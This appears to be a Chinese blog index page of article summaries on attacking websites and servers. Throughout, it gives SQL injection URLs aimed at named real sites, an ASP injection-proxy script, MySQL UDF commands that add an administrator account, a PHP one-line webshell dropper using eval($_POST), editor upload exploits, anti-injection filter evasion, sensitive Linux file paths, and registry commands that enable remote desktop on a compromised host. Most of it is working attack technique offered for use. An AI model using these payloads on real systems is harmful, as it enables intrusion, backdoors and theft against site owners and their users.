摘要：注入时如果发现有防注,可以试试红色部分是需要修改的假如http://www.fanzhiduxm.com/news.asp?Aid=195发现防注那么就改为下面内容,使用时本地搭一个ASP环境即可再用这一行代码进行注入http://127.0.0.1/proxy.asp?jmdcw=11<%JmdcwName=request("jmdcw")' 注入中转站 COOKIE 版,BY 7DaTAJmdcwName=escape(JmdcwName)JmStr="Aid="&JmdcwNameJMUrl="http://www. 阅读全文

摘要：一UDF提权 这类提权方法我想大家已经知道了，我大致写一下，具体语句如下： createfunctioncmdshellreturnsstringsoname’udf.dll’ selectcmdshell(’netuseriis_user123!@#abcABC/add’); selectcmdshell(’netlocalgroupadministratorsiis_user/add’); selectcmdshell(’regedit/sd:\web\3389.reg’); dropfunctioncmdshell; selectcmdshell(’netstat-an’); 二VBS启 阅读全文

摘要：渗透测试，注入是很常见的手法了。记得有个很经典的多字节编码漏洞。其漏洞引发的原理是：0xbf27不是有一个有效的GBK字符，但是经过addslashed()转换后就变成0xbf5c27,0xbf5c是个有效的GBK字符，所以0xbf5c27会当作一个字符0xbf5c和一个单绰号来处理，结果是跟在引号后查询语句得到了执行。在phpcms2007程序里由多字节编码漏洞引发的漏洞有多个，以area.php文件里的漏洞来作测试。渗透测试利用的方法主要是旁注，旁注的意义在于“曲径通幽”，进而获取系统权限。在此之前，收集数据库信息、系统信息、网站信息和系统管理员的信息进行综合分析利用，在社工是有意义的。在 阅读全文

摘要：1、连接到对方MYSQL 服务器 mysql -u root -h 192.168.0.1 mysql.exe 这个程序在你安装了MYSQL的的BIN目录中 2、让我们来看看服务器中有些什么数据库 mysql>show databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。 3、让我们进入数据库 mysql>use test; 我们将会进入test数据库中 4、查看我们进入数据库中有些什么数据表 mysql>show tables; 默认的情况下，test中没有任何表的存在。 以下为关键的部分 5、在 阅读全文

摘要：1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询2.猜解 字段数目,用order by也可以猜，也可以用union select一个一个的猜解http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--3.查看数据库版本及当前用户，http://www.cert.org 阅读全文

摘要：可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。要想让运行命令可以试试这种方法，成功率为五五之数。把下面代码复制：<object runat=server id=oScriptlhn scope=page classid=\"clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8\"></object><%if err then%><object runat=server id=oScr 阅读全文

摘要：一：首先检测一下网站的服务器是否开了 3389 远程终端 二：检测一下服务是否用了serv-u （还有是什么版本的） 方法 一：复制一个网站 用 3389 登陆器连接一下 （是否成功） 能连接了，拿下服务器的机率，提高 30%了 二：用ftp模式查下一个服务器的版本 开始 -- 运行 -- cmd -- ftp (加你要登陆的网站) --------------------------------------------------------------------------------------- 第一步：最简单的方法 看有没有权限，能不能执行命令，行的话直接传个鸽子运行（成功率非常低 阅读全文

摘要：当你用单引号“’”来测试一个网站可能存在注入漏洞的地址时（假设网址为“www.lvbaowang.com/news.asp?id=6”）弹出了“你的操作已被记录！”这类信息，而我们又没办法去绕过防注入系统的时候，可以试着提交http://www.lvbaowang.com/sqlin.asp看看存不存在“sqlin.asp” ，如果存在的话，我们只要提交<A href="http://www.lvbaowang.com/news.asp?id=6'http://www.lvbaowang.com/news.asp?id=6'<%execute reques 阅读全文

摘要：1、运用编码技术绕过如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。2、通过空格绕过如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如or' swords' =‘swords'，由于mssql的松散性，我们可以把or 'swords' 之间的空格去掉，并不影响运行。3、运用字符串判断代替用经典的or 1=1判断绕过,如or 'swords' ='swords'， 阅读全文

摘要：<?fputs(fopen(linuxso.php,w),<?eval($_POST[nst]);?>)?>这样访问之后，在当前目录生成linuxso.php 内容为 <?eval($_POST[nst]);?>)?> 的一句话小马，密码为:nst 阅读全文

摘要：etc/httpd/conf/httpd.conf/etc/rc.local 有时可以读出来apache的路径/usr/local/apache/conf/httpd.conf/var/www/html/apache/conf/httpd.conf/home/httpd/conf/httpd.conf/usr/local/apache2/conf/httpd.conf/usr/local/httpd/conf/httpd.conf/etc/apache/httpd.conf/usr/local/lib/php.ini/etc/hosts.deny 定义禁止访问本机的主机/etc/bashr 阅读全文

摘要：CKeditor漏洞多的要命，一堆堆的网站因为这种洞而牺牲了。 1. 查看编辑器版本 FCKeditor/_whatsnew.html ———————————————————————————————— 2. Version 2.2 版本 Apache+linux 环境下在上传文件后面加个.突破 测试通过。 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件将以下保存为html 文件修改action 地址Upload a new file:—————————————————————————————4 阅读全文

摘要：SQL 注入天书 - ASP 注入漏洞全接触收藏引言随着 B/S 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的 SQL Injection，即ＳＱＬ注入。 ＳＱＬ注入是从正常的 WWW 端口访问，而且表面看起来跟一般的 Web 页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看 IIS 日志的习惯， 阅读全文

摘要：一、判断是否可以注入：1. 单引号但如果单引号测试出错，是可以试试and 1=1的，因为一些对SQL注入有一点了解的程序员认为只要把单引号过滤掉就可以了2. 传入参数为数字型时：and 1=1and 1=2可以注入的提示：BOF或EOF，程序未做任何判断提示找不到记录，判断了rs.eof显示内容为空，程序加了on error resume next不可注入的提示：类型转换时出错其他自定义的出错提示3. 传入参数不为数字型时，需要变动一下比如：asp?id=aeo' and '1'='1asp?id=aeo' and '1'='2二 阅读全文

摘要：对6.X的也管用，对ASP。aspx。JSP。均管用。利用方法：先访问这个地址Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp访问这个地址可以建立个A.ASP的文件夹……再用这个html代码上传。html代码：<form action="http://www.xxx.com/Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp" method=po 阅读全文

摘要：暴字段长度order by num/*匹配字段and 1=1 union select 1,2,3,4,5…….n/*暴字段位置and 1=2 union select 1,2,3,4,5…..n/*利用内置函数暴数据库信息version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用):and 1=2 union all select version() /*and 1=2 union all select database() /*and 1=2 union all select user() /*操作系统信息：and 1=2 union all se 阅读全文

摘要：1.判断版本http://www.xxx.xxx/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询2.猜解 字段数目,用order by也可以猜，也可以用union select一个一个的猜解http://www.xxx.xxx/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--3.查看数据库版本及当前用户，http://www.xxx.xxx/document 阅读全文

摘要：############################################MYSQL高级注入实例###########################################-----------------------------------系统信息 -------------------------------------------http://www.vulnsite.com/renwu.php?id=10 and 1=2 union select 1,2,version(),4,5××××××× 阅读全文

摘要：目标站点：http://www.babydaily.com.hk/注入点：http://www.babydaily.com.hk/newsDetail.php?id=53首先，获得信息，加一个单引号提交http://www.babydaily.com.hk/newsDetail.php?id=53’返回如下信息，You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ 阅读全文

摘要：今天介绍的这种开终端的方法，绿色，环保，无污染~~不须上传任何文件开启终端的方法适合win2k,xp,2003.本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~在无须传任何文件的情况下开启终端服务。一、win 2k下终端开启终端首先用ECHO写一个3389.reg文件,然后导入到注册表，echo代码如下：echo Windows Registry Editor Version 5.00 >>3389.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcac 阅读全文